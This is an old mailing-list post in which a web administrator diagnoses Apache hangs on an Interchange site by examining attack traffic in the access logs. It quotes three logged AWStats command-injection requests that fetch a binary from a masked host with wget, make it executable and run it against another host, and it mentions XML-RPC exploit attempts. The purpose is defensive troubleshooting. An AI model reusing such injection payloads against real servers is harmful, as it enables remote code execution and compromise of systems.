[ic] mod_interchange and Apache MaxClients

John1 list_subscriber at yahoo.co.uk
Mon Nov 21 19:47:30 EST 2005

########### snippet from previous post:
The Apache access log shows just 3 entries before the site went down, all
from hackers_IP.  For interest, these were along the lines of:

/cgi-bin/awstats/awstats.pl/?configdir=|echo;echo YYY;cd /tmp;wget
x.x.x.x/flisten;chmod +x listen;./listen y.y.y.y;echo YYY;echo|

OK, it's conclusive, the above "hacker" script is definitely the cause of 
our site stopping responding at the moment (and I suspect Ron's and Jeff's 
also - can you confirm this?).  Our site stopped responding again tonight 
and was restarted by Ron's script again.  This time the site went down when 
there were many connections, but one IP address stood out as having 10 
connections to Apache.  Sure enough, when I searched our Apache access log 
for access from this suspicious IP address I saw the same 3 entries as the 
last time the site stopped responding:

1) /awstats/awstats.pl/?configdir=|echo;echo YYY;cd /tmp;wget
x.x.x.x/flisten;chmod +x listen;./listen y.y.y.y;echo YYY;echo|

2) /cgi-bin/awstats.pl/?configdir=|echo;echo YYY;cd /tmp;wget
x.x.x.x/flisten;chmod +x listen;./listen y.y.y.y;echo YYY;echo|

3) /cgi-bin/awstats/awstats.pl/?configdir=|echo;echo YYY;cd /tmp;wget
x.x.x.x/flisten;chmod +x listen;./listen y.y.y.y;echo YYY;echo|

Now these were the only 3 entries, but searching around on the web I have 
found that this script goes on to try to exploit the xml-rpc vulnerability 
by sending a variety of POST requests to xmlrpc.php (which it tries to find 
in a variety of locations)

e.g. POST /drupal/xmlrpc.php with XML in the body of the POST request.

Here is an analysis of the packets sent (not particularly readable, but all 
the information is there):

There are many references to this hacking script on the web - most dated Nov 
2005, so it appears to be a very new script.  Here are a couple of links to 

We did have several sites running on the same Apache webserver, but they 
were all development sites, so once Apache started hanging I decided to 
remove all the other sites so that Apache was only hosting our main 
Interchange website.  Interestingly, prior to removing these other websites 
I was seeing these POST requests to xmlrpc.php in the Apache error log (but 
in relation to our *non-interchange* websites).  Since removing these 
websites, I am not seeing any of these xmlrpc.php POST attempts in the 
Apache error log.

As mentioned, the *only* 3 requests from the hacker's ip address before the 
site stops responding are the 3 awstats.pl GET requests.  I believe the 4th 
reqest (which we don't see in the log) is a POST request to xmlrpc.php

>From this, I conclude that this same script when used against our other 
websites was not causing Apache to fall over.  But, when used against our 
Interchange site the webserver does stop responding.  So, it looks like it 
is these POST attempts to non-existent pages on our Interchange site that 
are causing Apache to hang, so I presume it is mod_interchange that is being 
tripped up by these POST requests.

I know that the Interchange missing.html page is served up if a GET request 
is made for a non-existent page, but what happens if a POST request is made 
for a non-existent page?  As mentioned, the POST request tries to send some 
XML in the body of its request (the above 2 links provide more detail).

Kevin, I am rather hoping that you may be able to spot a reason why 
mod_interchange may not be coping well with these POST requests to the 
non-existent xmlrpc.php page?  Thank you everyone for your continued help on 
trying to solve this one - hopefully we are getting closer... 

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